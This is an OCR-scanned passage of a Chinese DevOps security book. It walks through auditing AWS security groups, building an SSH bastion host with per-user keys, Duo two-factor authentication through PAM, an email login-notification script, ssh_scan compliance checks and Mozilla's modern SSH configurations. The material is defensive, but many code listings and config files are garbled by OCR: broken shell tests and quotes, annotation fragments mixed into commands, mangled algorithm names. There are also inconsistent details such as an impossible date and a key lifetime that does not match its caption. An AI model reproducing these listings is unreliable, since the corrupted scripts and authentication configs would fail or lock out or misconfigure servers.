以上这两条命令让安全策略能够符合之前描述的测试要求。你可以发起一次新 

的发票应用的构建,检查ー下规则二现在是不是可以通过了,就像代码清单4.16展 

示的这样。

代码清单4.16现在测试结果显示符合pineapple的策略要求

2016/08/15 01 ：43 rule 0 between "0.0.0.0/0" and •*load-balancer,' was found 
2016/08/15 01：43 rule 1 between "load-balancer" and "application" was found 
2016/08/15 01:43 rule 2 between "application" and "database" was found

定期对网络策略进行测试是维护基础设施完整性的关键所在，你可以在部署过 

程中执行，或是利用周期性的任务来执行。规则会随着时间而不断发生变化，如果 

没有定期的审计,你的基础设施很快就会充斥着一次性的临时访问，并且无法杜绝。

和管理基于IP的防火墙相比,标签和安全组提供了更大的灵活性，这将有助于 

对网络流量过滤保持严密的控制。但这样做之后，你就完全阻止了开发人员和运维 

人员对数据库的访问，因为他们偶尔需要访问数据库来诊断问题。在下一节里,我 

们将讨论如何通过一台支持多因子验证的SSH堡垒机来重新开放这样的访问。

4.3搭建安全人口
直到21世纪初，在不直接连接系统的情况下去构建一个完整服务的方式还是 

令人难以置信的。然而,你的发票应用已经做到了这一点，这是ー套可以工作的在 

线服务,它完全通过代码和基础设施提供商去构建、部署和更新。
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在这些变化中,最引人注目的变化莫过于传统系统管理员的“消亡”,他们沉 

浸于将Linux系统调试到最优直到榨干最后一位内存。尽管DevOps不赞成手工操 

作,但在运行一个大规模服务的操作中,自动化只占ー小部分。运维人员仍然有各 

种理由需要直接访问系统：诊断问题,响应事件,获取非中心化的日志，调整参数 

之后再将其加入自动化，等等。尽管我们在基础设施自动化方面进展得很快，但是 

总有一些事情需要直接访问系统和数据库。自动化将系统管理员从“俗不可耐”的 

任务中解放出来，让他们去承担更复杂的优化基础设施的挑战。

创建一个安全入口（即堡垒机）有如下优势：

«只需为堡垒机配置额外的安全措施，例如双因子验证（2FA或MFA）。

• 由于任何人都必须经过堡垒机,因此可以很轻松地建立访问日志来跟踪对基 

础设施的访问,并将可疑的访问通知给运维人员。

• 管理员界面只能通过堡垒机访问，因此能够被隐藏起来且不对互联网公开。

堡垒机并不是它要保护的服务的直接部分。实际上,大型基础设施通常只会设 

置ー对堡垒机，由所有服务共享。图4.4展示了发票应用基础设施中的堡垒机的放置。

图4.4 DevOps工程师使用SSH堡垒机访问发票应用服务的内部服务器和数据库。

在这ー节，我们将按照以下的路线图来介绍如何给发票应用的基础设施添加一 

台堡垒机。

• 生成新创建的EC2实例使用的SSH密钥对。密钥对需要先生成，因为AWS 
会自动向创建的EC2实例添加密钥。

・ 为堡垒机SSH服务配置多因子验证,我们将使用Duo Security,这是一家专
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门提供身份验证服务的第三方供应商。

• 使用评估工具，对SSH服务的配置进行评估和改进，以提供更高的安全级别。

• 在改进SSH服务的同时，我们将讨论如何改进SSH客户端的配置，额外地 

提供更高的安全级别。

«我们将调整堡垒机、服务器和数据库之间的安全组,并使用pineapple对安 

全组进行审计。

4.3.1 生成SSH密钥
第一版的SSH协议是由赫尔辛基大学的Tatu Ylonen在上世纪90年代中期开 

发的。YIGnen持有原始SSH代码的专有许可权，因此OpenBSD项目在上世纪90 
年代末开发了一个名为OpenSSH的开源版本,现在所有地方使用的都是这个版本。 

OpenSSH采用“默认安全”的方式构建，在差不多20年的时间里保护了数百万的 

服务器。

SSH提供的标准选项一般已经足够好了，管理员很少会修改它们。但是，谨 

慎的运维人员应该更倾向于使用强度在平均水平之上的加密技术来保护对敏感主机 

的访问。生成并妥善地保存高强度密钥是安全使用SSH的最重要的几个要点之一。 

Mozilla提供了一份如何生成SSH密钥的指南（链接4.7）,如代码清单4.17所示。

代码清单4.17使用RSA算法生成SSH密钥对

I 一定要设置密码来保 
护私钥!

$ ssh-keygen -t rsa \
-f ~/.ssh/id_rsa_$(whoami)_$(date +%Y-%m-%d) \
-C "$(whoami), s bastion key"

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase)：

Enter same passphrase again：

Your identification has been saved in -/.ssh/id_rsa_sam_2018-02-31.
Your public key has been saved in -/.ssh/id_rsa_sam_2018-02-31.pub.

这条命令创建了一个新密钥对，私钥存放在~/.ssh/id_rsa_sam_2018-02-31下, 

公钥也存放在同一个目录下,其文件名后面多了.pub。

SSH密钥算法
如果你碰巧使用了现代化的SSH系统，试试使用ed25519算法来代替 

RSAo和RSA相比，ed25519密钥要小得多，而且提供了至少能与RSA相当 

的安全级别。可惜的是,在写作本书时，大部分SSH客户端和服务器还只支持 

RSA密钥。
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要使用公钥‘你需要将公钥上传到AWS ，这样才能在创建实例的过程中包含它。 

代码清单4.18中的命令将上传密钥,但还没有把它们分配给实例。最后这个步骤会 

在创建实例时完成。

代码清单4.18将RSA公钥导入AWS

$ aws ec2 import-key-pair --key-name sam-rsa-20180231 --public-key-material 
"$(cat .ssh/id_rsa_sam_2018-02-31.pub)"

{
"KeyFingerprint ： "be ：d0 ： f 0 ： If ：a7 ： 4a: 7d： 2f ：dl ： f 9:24 ： 51 ： 70 ： 75 ： f 7 : 57",
nKeyNameM: "sam-rsa-20180231"

)

分发SSH公钥会很复杂。AWS提供了一个能在创建实例过程中包含公钥的基 

本机制，但这还不足以支持大型团队的需求。这里常见的错误是：在整个运维团队 

中共享一个SSH密钥。这样做就增加了私钥被泄露的风险，也失去了由每个运维人 

员使用各自密钥所获得的有意义的身份验证信息、。

正确的方式是将实例上SSH公钥的开通作为实例创建流程的一部分,这通常需 

要使用一些工具，例如Puppet、Chef或者Ansible。有些人选择将用户和密钥内建 

在实例镜像中(称为AMI, Amazon Machine Image),这种做法是可行的，只要你 

能定期用新版本的密钥更新镜像即可。

对于大型组织来说，维护ー份用户公钥列表是ー个技术活。我个人喜欢将它们 

存放在LDAP中，让用户控制它们。这样的话，开通工具只需要从LDAP获取密钥, 

然后将它们放到实例之中。你也可以使用GitHub来做类似的归档，重点是确保服 

务器上的公钥能定期地和真实来源重新同步。

当你的公钥上传到AWS后，下一步就是创建堡垒机EC2实例。

4.3.2 在EC2中创建堡垒机

在第2章中,我们让EB为我们处理EC2实例的创建和配置。EB擅长处理符 

合标准三层架构的服务，比如Web应用或是后台工作任务。在这ー小节,我们只想 

要一个实例，这个实例不适合三层架构模型，所以你要通过ー组awsutil命令来 

创建它：

1 .创建控制堡垒机的安全组，允许对TCP/22端口的公开访问。

2 .使用之前上传的SSH密钥和一个公开IP来创建一个Ubuntu实例。

3 .在实例创建好之后，你可以连接到该实例并在上面创建一个新用户。

现在，安全组创建命令对你来说已经不再陌生了。代码清单4.19展示了创建安 

全组和开放SSH访问的两条命令。
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代码清单4.19为堡垒机创建安全组

$ aws ec2 create-security-group \
--group-name invoicer-bastion-sg \
- -description  Invoicer bastion host '•11
（

"Groupld": "sg-fl4ff48b" 
}

$ aws ec2 authorize-security-group-ingress \
- -group-name invoicer-bastion-sg \
- -protocol tcp \
- -port 22 \
- -cidr 0.0.0.0/0

准备好安全组之后,你可以使用一条命令来创建EC2实例，如代码清单4.20 
所示。这条命令需要一个image-id参数，代表了实例是基于哪种系统类型。这个 

例子使用的是Ubuntu 16.04 LTS,对应的image-id是ami-81365496。在这里 

可以找到由Ubuntu提供的并按AWS区域排序的AMI列表（链接4.8）。

代码清单4.20创建堡垒机EC2实例

$ aws ec2 run-instances \ 
--image-id ami-81365496 \ I Ubuntu 16.04 镜像 id〇

--security-group-ids sg-f14ff48b \
--count 1 \ ］堡垒机安全组。

--instance-type t2.micro \
--key-name sam-rsa-20180231 \ V_____ I SSH 公钥。

--associate-public-ip-address \
--query 'Instances[0].Instanceld

”i-1977do28”

!请求公开IP0

［对输岀结果过滤,只 
返回实例ID。

$ aws ec2 describe-instances \
--instance-ids i-1977d028 \
--query 'Reservations[0].Instances[0].PublicIpAddress
"52.90.199.240" 4-----------------------------------------------------------------------------

获取实例的 
公开IP。

实例的初始化可能需要几分钟的时间。当初始化结束后,你就可以使用私钥和 

公开IP，并通过ssh命令和作为Ubuntu用户进入该实例了。

代码清单4.21通过SSH连接到堡垒机

$ ssh -i .ssh/id_rsa_sam_2018-02-31 ubuntu@52.91.225.2
ubuntu@ip-172-31-35-82：-$

通常在安装过程中你会删除Ubuntu用户并为每ー个运维人员单独创建一个UNIX 
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用户。代码清单4.22创建了一个用户sam ，并设置了它的authorized_keys文件 

以允许SSH访问。如上所述,你可能想利用ー个开通工具来自动化这个过程,例如 

PuppetChef 或 Ansible。

代码清单4,22创建UNIX用户

$ sudo useradd -m -s /bin/bash -G sudo sam
$ sudo passwd sam
$ sudo su - sam . I切换到sam。

!创建一个UNIX用户 
I及密码。

$ mkdir .ssh && chmod 700 .ssh
$ echo 1ssh-rsa AAI1... sam's bastion key1 > \ 

.ssh/authorized_keys
$ chmod 400 .ssh/authorized_keys

!添加sam的SSH密钥以 
!允许远程访问。

下ー步是在SSH服务器上使用Duo Security来配置双因子验证（2FA）。当2FA 
创建好之后,我们再回来设置安全组规则以锁定网络访问。

4.3.3启用SSH双因子验证
在验证过程中，使用加密密钥进行身份验证提供了一个不错的安全级别。好 

的密码，比如刚生成的ー个，是不可能被猜出来的,而且相对来说也很难丢失。 

除非你不小心把私钥公布到了不安全的地方，或者丢失了存放私钥的设备,那么 

其他人オ有可能得到它。

不幸的是,这些情况发生的频率超乎我们的想象。人们常犯的错误是将他们的 

密钥放在源代码里，并发布到代码仓库中或者拷贝到公开网站上。试试用你最喜欢 

的搜索引擎或者在代码仓库中搜索------BEGIN RSA PRIVATE KEY----------- ,
你就会理解:为什么说单独数字密钥很难作为可信的身份验证机制。

可靠的身份验证机制需要多重因子,最好是下列因子之一:

• 知识因子，例如密码，所有者可以记住。

• 所有权因子，例如，房子的钥匙或者身份验证需要的外部设备。

• 固有因子，比如你，或者更准确地说,是你的视网膜、指纹或者声音。

在Web服务中‘实现2FA的最常见方法是，在用户输入密码后还要求提供从手机 

上获取的另ー个token。有多种技术可以做到这一点。

电话验证

最简单、也是最普遍的方法是，通过短信或电话呼叫将验证码发送到用户的手 

机上。持有对电话号码的SIM卡的所有权就是第二重因子。这种方法在理论上是安 

全的，可惜的是,电话公司在电话号码转移方面的管理太过于宽松，而安全研究员 

可以将别人的号码成功地转移给自己。短信验证在别有用心的攻击者面前形同虚设。 

对安全要求不高的网站来说，这种方法还是可行的,但对堡垒机来说是不够的。
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一次性密码

更安全的ー种方式是使用一次性密码（〇TP，One-Time Password）, OTP是ー 

小段验证码，只能使用一次（HOTP--H的含义是基于HMAC）或者只能在ー小 

段时间内使用（TOTP-T的含义是基于时间）。在第3章我们曾讨论过防护CSRF 
攻击的HMAC,这里的算法使用了它的变种:用户和服务器共享用于生成和校验 

OTP的密钥。HOTP需要双方维护同一个计数器。而TOTP使用时间戳替代计数器， 

免去了保存计数器的需要。现在,把TOTP令牌保存在用户手机上是ー种常见做法。 

GitHub、AWS还有许多其他在线服务都支持这种方法。

推送验证

如图4.5所示，推送验证是第二重因子的最新技术,但它的缺点是需要第三方 

参与到协议中。在推送模式下,用户和一部手机关联在ー起,这部手机运行着接收 

通知的应用。当用户登录时，服务要求第三方给用户的手机发送一条推送通知，以 

便完成第二重因子的验证步骤。设备上会弹出该通知，用户只需点击ー下就可以批 

准。和将密钥保存在用户手机上的OTP技术相比,这种方法提供了水平相当的安全 

性,但是免除了用户在服务中输入OTP的人工操作。

图4.5建立堡垒机SSH连接的ー系列步骤，使用公钥握手作为第一重因子，使用Du。Security 

作为第二重因子。
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是选择OTP还是选择推送通知，取决于你的基础设施和需要。OTP解决方案可 

以独立工作,不需要连接其他任何系统,而推送解决方案则需要连接第三方。第三 

方通常还会提供ー些高级特性，例如审计日志和地理位置定位。这是ー个蓬勃的市 

场,你可以很容易地找到ー家供应商作为你的服务的身份验证代理：RSA （这是ー 

家公司，并非指算法）、Authy> Ping Identity、Duo Security, Gemalto SafeNet ,等等。

在这ー节中，我们将使用Duo Security,因为它可以很容易地与SSH集成，并 

且还提供了十个用户的免费套餐。我们将实现图4.5展示的流程,堡垒机将第二重 

因子的验证请求转发给Duo Security,等待请求完成再授权给用户。

要开始实现,先前往链接4.9，并按照注册步骤创建用户和密码（Duo Security 
提供了免费套餐,因此你不必花钱就可以进行试验）•登录之后,在网站控制面板中 

创建UNIX应用。三条信息会提供给你:集成密钥、机密密钥和API终端节点,如 

图4.6所示。这些信息会被用来配置堡垒机。

ュ・ 2!”tmLM、> UNIX Application 1

UNIX Application 1

① See the Duo Unix documentation to integrate Duo with your Unix server.

Details

Authenwcaucn ■ x Remove Application

Reset Secret Key

integrancn key di20678616rshjub*07

Secret key khPQTOW）加80rfitSUKsS呻RxyZMeTlWUvE

Don't write <Jown your 5«cr« key or share it wth anyone 

API *pi - 9®26ae6. duosecuri ty. coa

图4.6在Duo Security控制面板中创建UNIX应用后,集成密钥、机密密钥和AP!终端节点会 
提供给你。

在Ubuntu上，SSH的Duo配置需要四个步骤：

1 .安装PAMDuo库。

2 .配置集成参数和密钥。

3 .在PAM中要求Duo身份验证。

4 .配置SSH守护进程,让它支持双因子验证。
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关于PAM
可插拔的脸证模块(PAM, Pluggable Authentication Module )是 Linux 及 

UNIX系统上标准的用户身份验证框架D系统应用可以使用PAM将身份验证阶 

段交给PAM系统,而不是在内部自行处理,PAM是一个强大的、模块化的和 

复杂的框架，用于集成多因子验证,或者用于访问审计,或者用于执行外部目 

录的身份管理，如LDAP、活动目录、Kerberos ,等等U在大多数Linux系统中, 

它的配置位于/etc/pam.d路径下。

代码清单4.23展示的是第一步：安装!ibpam-duo0 Ubuntu 16.04集成了 Duo 
的标准包,如果你使用的是不同的发行版,也可以自己构建一个(链接4.10)。

代码清单 4.23 在 Ubuntu 16.04 上安装 Duo Security

$ sudo apt install libpam-duo

包libpam-duo会在/etc/security/pam_duo.conf路径下放ー份空的配置文件。 

你需要把Duo控制面板提供的集成参数填写到该文件中。

代码清单 4.24 在 /etc/security/pam_duo.conf 中配置 Duo Security

[duo！ 集成密钥。I
ikey = DIKQB6AKQSASOIQ93OI28AL ◄---- 1 机密密钥。
skey = cqDaacHHHfR9vplD6nsud2Qx9J7v2sVmK04OxCC+ --- •
host = *♦*.duosecurity.com --------- -
pushinfo = yes ◄---- 1 Duo API 主机。

|发送Du。推送验证的命令。।

包libpam-duo还会安装ー个PAM库,它被用来处理Duo Security的第二重 

因子验证。SSH配置位于/etc/pam.d/sshd下,默认提供了基本的UNIX密码验证。 

代码清单4.25展示了如何重新配置SSHD PAM以要求Duo验证。

代码清单4.25配置/etc/pam.d/sshd来要求Duo的第二重因子验证

#@include common-auth
I禁用标准的UNIX身份验证。

auth [success=l default=ignore] pam_duo.so 
auth requisite pam_deny.so 
auth required pam_permit.so

j 1要求Duo验证。
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注意,不同的Linux发行版上的PAM配置会有所不同。如果你使用的不是 

Ubuntu,那么应该参考指导手册和Duo文档。

最后，配置的第四步会影响SSH守护进程本身。首先需要基于公钥的验证，并 

禁用基于密码的验证。然后启用键盘交互验证及PAM支持。Duo配置会被启用, 

但并不会被强制使用。最后一部分使用AuthenticationMethods参数完成, 

它需要先进行公钥验证，紧接着是通过PAM进行键盘交互验证。

代码清单4.26为双因子验证配置/etc/ssh/sshd config

PubkeyAuthentication
PasswordAuthentication
KbdlnteractiveAuthentication
UsePAM
UseLogin
AuthenticationMethods

yes 
no
yes
yes
no
publickey,keyboard-interactive：pam

重新加载SSHD服务后, 配置就完成了。现在Sam在连接堡垒机时会返回一条
消息，要求她登记在Duo中。

代码清单4.27 Sam的第一次连接,要求通过Du。Security登记

$ ssh -i .ssh/id_rsa_ulfr_2018-02-31 sam@52.91.225.2
Authenticated with partial success.
Please enroll at https：//api-00526ae6.***.com/

portal?code=4f0d825b62eec49e&akey=DAAVUO6OLPYJ6SICSEQF

登记过程必须在移动设备上完成。

只有用户在Duo Security中登记了手机，消息才能被接收到。要登记手机， 

Sam必须使用移动设备访问终端中的URし地址，创建一个Duo账户，并安装Duo 
应用。注意,Duo用户名必须和UNIX用户名一致，都必须是sam。

登记完成后，Sam会看到选择验证方式的提示菜单。

代码清单4.28 SSH提示Duo Security提供的第二重因子验证选项

$ ssh -i .ssh/id_rsa_ulfr_2018-02-31 sam@52.91.225.2 
Authenticated with partial success.
Duo two-factor login for sam

Enter a passcode or select one of the following options：

1. Duo Push to XXX-XXX-7061
2. Phone call to XXX-XXX-7061
3. SMS passcodes to XXX-XXX-7061 (next code starts with： 1)

Passcode or option (1-3)： 1
Success. Logging you in...
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如你所见,Duo在默认情况下启用了基于推送和基于电话的验证方式。这些设 

置可以修改,除此之外还有许多其他选项都可以在服务的控制面板中调整。选中“ド 

后,Sam的手机会收到一条推送通知，其中包含了事件来源的详细信息，如图4.7 
所示。

personal 
UNIX Application

けガ。北”

SttHwmber L か16.1 歓
Stiver IP 17731 4s 240

图4.7从Du。接收的推送通知包含了事件来源的信息,如用户的IP地址和目标服务器。

使用双因子验证来加固堡垒机,会使安全设施主入口的安全性显著增强。这是 

针对SSH的实现,但同样的原则也适用于许多其他类型的接入点，如VPN、Web 
界面,甚至是系统账户的root访问权限。

你还可以进ー步提升安全性,堡垒机一旦被访问就会发送通知。这是下ー节要 

介绍的内容。

4.3.4在被访问时发送通知
大多数提供安全服务（例如多因子验证）的第三方还会保留批准和拒绝操作的 

详细日志。这里是获取审计日志并转换为通知的绝佳场所。

更常见的做法是将日志发到中央服务器上,并在那里发出告警。SSH日志记录 

在/var/log/auth.log （Debian 系统）或/var/Iog/secure （Red Hat 系统）下，其中包含 

了连接用户的身份信息。一条日志流水线就可以监控这些日志，并将通知路由到正 
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确的信道。我们将在第7章深入讨论日志流水线的细节。

第三种做法是用PAM触发通知脚本,将其作为验证流程的一部分。这种做法 

的优势是完全自治，即和其余的基础设施无关。它还很容易实现，适合跟踪各种类 

型的通知。

配置PAM以触发通知,只需在SSHD PAM配置文件中修改一行。你只需要 

加上代码清单4.29中的这些指令，这些指令会作为登录流程的一部分来调用脚本 

/etc/ssh/notify.sho

代码清单4.29配置/etc/pam.d/sshd发送登录通知

session optional pam_exec.so seteuid /etc/ssh/notify.sh

脚本本身十分简单：PAM将正在验证的用户的名字保存在环境变量PAMJJSER 
中，将连接的来源保存在PAM_RHOST中。你通过提取这些信息来构造一封电子邮 

件。另外，还要附上过去登录的历史记录和最近的身份认证日志。脚本还按日期进 

行了过滤,避免在工作时间发送通知，这样做虽然减少了运维人员的通知噪声,但 

同时也大幅降低了这种机制的安全水平。你需要考虑清楚之后再启动日期过滤。

代码清单4.30 位于/etc/ssh/notify.sh的通知脚本

#!/bin/bash

if [ [ H$ (date +%u) ,• -It 5 && \
n$(date +%H)" -gt 8 && \
"$(date +%H)" -It 18 ]]； then 
exit 0

fi 

过滤通知，只在工作日(周一到周五) 
的工作时间(8:00到18:00)发送。

if [ "$PAM_TYPE" != "close_session" ]； then
subject=MSSH Login： $PAM_USER logged into $(hostname) from $PAM_RHOST" 
mailx -r "bastion@securing-devops.com" \
"s "SSH Login: $PAM_USER logged into $(hostname) from $PAM_RH0ST" \ 
"$PAM_USER@securing-devops.com" << EOF

Last logins on $(hostname) 

$(last -w -i)

Most recent auth.log 

$(tail /var/log/auth.log)
EOF
fi

当触发时，通知脚本就会给运维人员发送一封电子邮件，邮件如图4.8所示。
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从堡垒机发送邮件需要配置ー个本地SMTP中继,这是留给读者的练习（Postfix很 

不错,但你也可以使用Amazon SES） 〇

SSH Login: sam logged into ip-172-31-45-243 from 72.64.221.62

臼an bastion@8ccuring-<tevop9.com

1b julfen@vebenLorg 
Dats Today 14:01

Last logins on ip-172-31-45-243

wtmp begins Thu Sep 1 18:56:53 2816

san
sam

pts/3 
pts/3

72.64.221.62
72.64.221.62

Thu Sep
Thu Sep

1 17:52
1 17:52

18:01
17:52

(00:09)
(ee：ee)

sam pts/2 72.64.221.62 Thu Sep 1 16:46 still logged in
san pts/0 72.64.221.62 Thu Sep 1 16:46 Still logged in
sam pts/e 62,210.76.92 Thu Sep 1 14:43 16:45 (02:02)
sam pts/e 62.210.76.92 Thu Sep 1 14:36 14:39 (00:62)
sam pts/e 62.210.76.92 Thu Sep 1 14:33 14:34 (08:60)
sam pts/l 72.64.221.62 Thu Sep 1 11:29 still logged in
sam ptS/G 72.64.221.62 Thu Sep 1 11:15 14:32 (03:17)
ubuntu ptS/0 72.64.221.62 Thu Sep 1 11:14 11:14 (00:00)
sam pxs/e 72.64.221.62 Thu Sep 1 11:14 11:14 (66:00)
ubuntu pts/0 72.64.221.62 Thu Sep 1 11:13 11:13 (00:00)
ubuntu pts/e 72.64.221.62 Thu Sep 1 11:12 11:12 （oe：ee）
ubuntu pts/e 72.64.221.62 Thu Sep 1 n：ei 11:12 (00:19)
reboot system boot 0.0.e.e Thu Sep 1 10:56 still running

Most recent auth.log

Sep 1 17:52:36 ubuntu sshd(7436)： pam unix(sshd:session): session opened for user sam by (uid«8)
Sep 1 17:52:36 ubuntu systemd-logind|2269]： New session 21 of user sam.
Sep 1 18:61:41 ubuntu s$hd|7476J： Received disconnect from 72.64.221.62 port 34652:11： disconnected by user
Sep 1 18:81:41 ubuntu sshd|7476): Disconnected from 72.64.221.62 port 34652
Sep 1 18:81:41 ubuntu sshd(7436]: pan umx(sshd:session): session closed for user sam
Sep 1 18:01:41 ubuntu systemd logindl2269)： Removed session 21.
Sep 1 18:61:51 ubuntu sshd[7539J： Successful Duo login for 'sam' from 72.64.221.62
Sep 1 18：G1：51 ubuntu sshd(7537]： Accepted keyboard-interactive/pam for sam from 72.64.221.62 port 34734 ssh2
Sep 1 18:61:51 ubuntu sshdl7537j: pam unix(sshd：session)： session opened for user sam by (uid>0)
Sep 1 18:81:51 ubuntu systemd-logind(2209)： New session 22 of user sam.

图4.8 Sam连接到堡垒机之后发送给运维人员的邮件通知示例。

只需几分钟,你就可以建好一个简单的通知系统，它可以捕获可疑的访问。它 

没办法阻止别有用心的攻击者精心策划数周的攻击,但可以捕捉你应该审视的异常 

访问。如果你没有时间去调研其他复杂的解决方案,这种方法是ー个非常不错的起 

步。随着你的安全控制愈发成熟，用日志流水线触发的告警或者从第三方接收的告 

警去替换这种方法，以便进ー步提升可靠性。

在结束SSH和重新配置安全组这ー节之前，我们来简要地介绍一些客户端和服 

务器的最佳实践,以及如何测试它们的实现。

4.3.5 一般安全注意事项
前面我曾经提到过，在默认情况下SSH自带安全配置参数。很少有管理员会 

费心地修改这些参数，他们认为使用SSH不会存在安全漏洞。这一节我们会讨论 

SSH设施的常见问题，以及如何在客户端与服务器端使用严格的配置参数来修复 

这些问题。

我们从使用命令行扫描器校验堡垒机的安全性开始。你可以从链接4.11找到这 

种扫描器。扫描器可以在Docker容器里运行，如代码清单4.31所示。
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代码清单4.31 ―安装井执行ssh scan Docker容器来检查堡垒机

从Docker Hub获取容器。 运行容器。

—► $ docker pull mozilla/ssh_scan
$ docker run -it mozilla/ssh_scan /app/bin/ssh_scan \ <

C-t 52.91.225.2 \
-P config/policies/mozilla_modern.yml ◄------

ー」描器指向堡垒机的IP。 应用Mozilla的现代规则。

扫描输出返回了许多堡垒机的SSH服务器支持的参数信息，下ー节我们再讨 

论如何调整这些参数。现在我们重点关注一下合规结果:它们给出了当前配置中存 

在的问题的提示,并引用了 Mozilla的现代SSH推荐规范作为参考。

代码清单4.32 SSH配置没有通过Mozilla的现代指南的合规性检查

"compliance"： {
"policy11 ： "Mozilla Modem" z
"compliant"： false,
"recommendations"： [

"Remove these Key Exchange Algos： diffie-hellman-groupl4-shal",
"Remove these MAC Algos： umac-64-etm@openssh.com, hmac-shal-etm@openssh.
com, umac-64@openssh.com, hmac-shal"

】，
"references"： [
"https：//wiki.***.org/Security/Guidelines/OpenSSH"

1

}

接下来，我们深入讨论SSH配置的细节，让堡垒机通过Mozilla的现代指南的 

合规性检查。

现代SSHD配置
和近20年来被广泛使用的任何软件一样，OpenSSH也不得不处理老客户端的 

向后兼容问题。因此,大多数OpenSSH设施都会支持许多种加密算法，其中有些 

算法相对更安全一些。

/etc/ssh/sshd_config中的服务器配置可以限制SSH提供的算法来增加安全性。 

你会发现这些参数在默认配置中使用得很少，因为这样会限制SSH客户端连接到服 

务器的范围，但是如果你确定你的客户端支持（或是强制它们支持）现代协议，那 

么限制算法就不是问题了。

Mozilla的OpenSSH指南维护着ー份SSHD现代配置模板（链接4.12）»这些参数 

要适当地替换掉现有的/etc/ssh/sshd_config配置，如代码清单4.33所示。
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代码清单4.33在堡垒机的SSHD配置中使用Mozilla现代配置

# Supported HostKey algorithms by order of preference.
HostKey /etc/ssh/ssh_host_ed2551.9 key 
HostKey /etc/ssh/ssh_host_rsa_key 
HostKey /etc/ssh/ssh_host_ecdsa_key

# Supported Key Exchange algorithms
KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521, 

ecdh-sha2-nistp384,ecdh-sha2-nistp256, 
diffie-helIman-group-exchange-sha256

# Supported encryption algorithms
Ciphers chacha20-polyl305@openssh.com,aes256-gcm@openssh.com, 

aesl28-gcm@openssh.com,aes256-ctr,aesl92-ctr,aesl28-ctr

# Supported Messages Authentication Code algorithms
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com, 

umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256, 
umac-128@openssh.com

# LogLevel VERBOSE logs user's key fingerprint on login and 
# provides a reliable audit log of keys used to log in. 
LogLevel VERBOSE

# Log sftp level file access (read/write/etc.)
Subsystem sftp /usr/lib/ssh/sftp-server -f AUTHPRIV -1 INFO

# Root login is not allowed for auditing reasons, Operators must use '• sudon 
PermitRootLogin No

# Use kernel sandbox mechanisms where possible in unprivileged processes 
UsePrivilegeSeparation sandbox

设置好这些参数后重启SSHD服务，然后从客户端使用-V标志连接来显示调 

试信息。你要确认所有客户端都可以使用OpenSSH现代版本(6.6.7之后的版本) 

来协商与上述算法之一的连接。如果连接成功,客户端的调试输出会显示代码清单 

4.34中类似的密钥交换。

代码清单4.34 SSH日志显示了现代化算法的使用

$ ssh -i .ssh/id_rsa_sam_2018-02-31 sam@52.91.225.2 -v
[...]
debugl： kex： algorithm： curve25519-sha256@libssh.org
debug1： kex： host key algorithm： ecdsa-sha2-nistp256
debugl: kex： server->client cipher： chacha20-polyl305@openssh.com MAC：

<implicit> compression： none
debugl： kex： client->server cipher： chacha20-polyl305@openssh.com MAC：

<implicit> compression： none
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这份配置生效之后,你可以重新运行ssh_scan工具，看看堡垒机配置是否 

可以通过Mozilla指南的合规性检査，如代码清单4.35所示。注意-u标志的用法, 

如果合规性检查没有通过,ssh_scan命令会以非零退出码退出。

代码清单4.35合规性检查通过,带-u标志的ssh_scan命令将返回零

$ docker run -it mozilla/ssh_scan /app/bin/ssh_scan \
-t 52.91.225.2 -P config/policies/mozilla_modern.yml -u 
$ echo $?
0

退出码为0，代表你现在合规了。如果能在部署过程中执行这种扫描就太好了。 

可惜的是，要在部署器的Docker容器里运行ssh_scan的Docker容器并不简单（在 

Docker中运行Docker需要一些技巧,这里我们不做讨论）。但是，在其他任何主机 

上（例如监控系统）执行这种扫描也费不了多少工夫。

现代SSH客户端配置
服务器上应用的算法限制同样可以被应用到客户端。作为管理员，确保SSH 

客户端能始终强制使用健壮的连接参数，这是不会错的。这里，我们再一次遵循 

Mozilla现代指南，在/home/sam/.ssh/config中使用代码清单4.36中的配置。

代码清单4.36_运维人员SSH客户端的Mozilla现代配置

# Ensure KnownHosts are unreadable if leaked
# making it harder to know which hosts your keys have access to 
HashKnownHosts yes

# Host keys the client accepts - order here is honored by OpenSSH 
HostKeyAlgorithms ,ssh-ed25519-cert-v01@openssh.com

ssh-rsa-cert-v01@openssh.com, 
ssh-ed25519,ssh-rsa, 
ecdsa-sha2-nistp521-cert-v01@openssh.com, 
ecdsa-sha2-nistp384-cert-v01@openssh.com, 
ecdsa-sha2-nistp256-cert-v01@openssh.com, 
ecdsa-sha2-nistp521,ecdsa-sha2-nistp384, 
ecdsa-sha2-nistp256

KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521, 
ecdh-sha2-nistp384,ecdh-sha2-nistp256, 
diffie-hellman-group-exchange-sha256

MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,
umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256, 
umac-128@openssh.com

Ciphers chacha20-polyl305@openssh.com,aes256-gcm@openssh.com, 
aesl28-gcm@openssh.com,aes256-ctr,aesl92-ctr,aesl28-ctr
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客户端参数和服务器参数共同保证了牢固的加密算法总是被用来保护SSH信道。

理解密码学

在信息安全领域,密码学自成一派。掌握它需要经年累月的研究和实践, 

然而犯一个将服务置于风险中的错误却很容易

当我们在第5章讲到HTTPS和TLS时，我会介绍加密通信的核心概念, 

也许会给这个复杂的话题带来ー些启发。同时,在通常情况下，你应该参考 

Mozilla指南这种经过检验的标准来保护你的服务ユ

作为运维人员，对时常影响加密算法的安全问题要了然于胸。通过遵循新版本 

的受信标准,定期对SSH配置进行重新检查,并始终尝试使用现代参数。

防止SSH代理劫持
SSH代理是管理员的SSH工具箱中最常用也是最危险的工具之一。它是ー个常 

驻程序,并在SSH客户端所在的本地机器上运行,而且它要持有解密后的私钥。如 

果没有SSH代理,运维人员每次在发起远程服务器的连接时都要输入私钥的口令 ， 

而且用不了多久,运维人员就会觉得过于烦琐。运维人员使用ssh-add命令就可 

以解锁他们的密钥并加载到代理的内存里，且只用操作一次。只要代理还在运行, 

运维人员就可以使用这些密钥。可以指定一个额外的-t参数使密钥在一段时间后 

过期。

代码清单4.37 ssh-add解密私钥并将其加载到SSH代理中,持续六小时

$ ssh-add -t 1800 ~/.ssh/id rsa_sam_2018-02-31

代理的主要目的是通过网络转发身份验证数据。想ー想这种情况，你想通过堡 

垒机ssh进入发票应用服务器。你需要先ssh进入堡垒机，然后发起另一条到发 

